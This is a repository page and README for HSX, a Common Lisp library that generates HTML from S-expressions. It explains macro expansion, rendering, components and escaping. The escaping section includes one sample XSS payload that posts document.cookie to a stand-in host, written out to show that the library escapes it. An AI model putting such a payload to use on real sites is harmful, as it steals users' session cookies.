.forgejo/workflows | ||
.github/workflows | ||
src | ||
tests | ||
.gitignore | ||
hsx-test.asd | ||
hsx.asd | ||
LICENSE | ||
qlfile | ||
qlfile.lock | ||
README.md |
HSX – Hypertext S-expression
HSX is a lightweight and expressive HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax via S-expressions.
🚧 ALPHA NOTICE:
This library is still in early development. APIs may change.
See release notes for details.
⚙️ How HSX Works
Every tag or component inside an (hsx ...)
form is transformed into a Lisp expression of the form:
(create-element type props children)
For example:
(hsx
(article :class "container"
(h1 "Title")
(p "Paragraph")
(~share-button :service :x))
Is internally transformed (by macro expansion) into:
(create-element :article '(:class "container")
(list
(create-element :h1 nil (list "Title"))
(create-element :p nil (list "Paragraph"))
(create-element #'~share-button '(:service :x) (list))))
This is made possible via the hsx macro, which detects HTML tags and components, then rewrites them using create-element. Tags are converted to keywords (e.g., div → :div), and custom components (starting with ~) are passed as functions.
This uniform representation allows rendering, manipulation, and analysis of the HTML structure in a Lisp-friendly way.
🚀 Quick Example
(hsx
(div :id "main" :class "container"
(h1 "Hello, HSX!")
(p "This is a simple paragraph.")
(ul
(loop for i from 1 to 3 collect
(hsx (li (format nil "Item ~a" i)))))))
Generates:
<div id="main" class="container">
<h1>Hello, HSX!</h1>
<p>This is a simple paragraph.</p>
<ul>
<li>Item 1</li>
<li>Item 2</li>
<li>Item 3</li>
</ul>
</div>
📝 Rendering
Use render-to-string
to convert an HSX structure to a string of HTML:
(render-to-string
(hsx ...))
🔐 Escaping Behavior
All elements automatically escape special characters in content to prevent XSS and HTML injection:
(hsx
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))
Outputs:
<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>
Use the special tag raw!
to inject trusted, unescaped HTML:
(hsx
(article (raw! "HTML text here ..."))
🧩 Fragments
Use <>
tag to group multiple sibling elements without wrapping them in a container tag:
(hsx
(<>
(p "One")
(p "Two")))
Outputs:
<p>One</p>
<p>Two</p>
Note: raw!
tag is a fragment that disables HTML escaping for its children.
🧱 Components
Define reusable components using defcomp
macro. Component names must start with ~
.
Keyword-style
(defcomp ~card (&key title children)
(hsx
(div :class "card"
(h2 title)
children)))
Property-list style
(defcomp ~card (&rest props)
(hsx
(div :class "card"
(h2 (getf props :title))
(getf props :children))))
Usage
(hsx
(~card :title "Hello"
(p "This is a card.")))
Outputs:
<div class="card">
<h2>Hello</h2>
<p>This is a card.</p>
</div>
🧬 Logic and Interpolation
You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
(hsx
(div
(if (> (random 10) 5)
(hsx (p "High!"))
(hsx (p "Low!")))))
Or loop:
(hsx
(ul
(loop :for item :in todo-list :collect
(hsx (li item))))))
🏷️ Built-in Tags
All standard HTML5 tags (and a few extras like <>
, raw!
) are automatically defined and exported from the hsx package. You don’t need to declare them manually.
📄 License
MIT License • © 2024 Akira Tempaku • © 2018 Bo Yao (original flute project)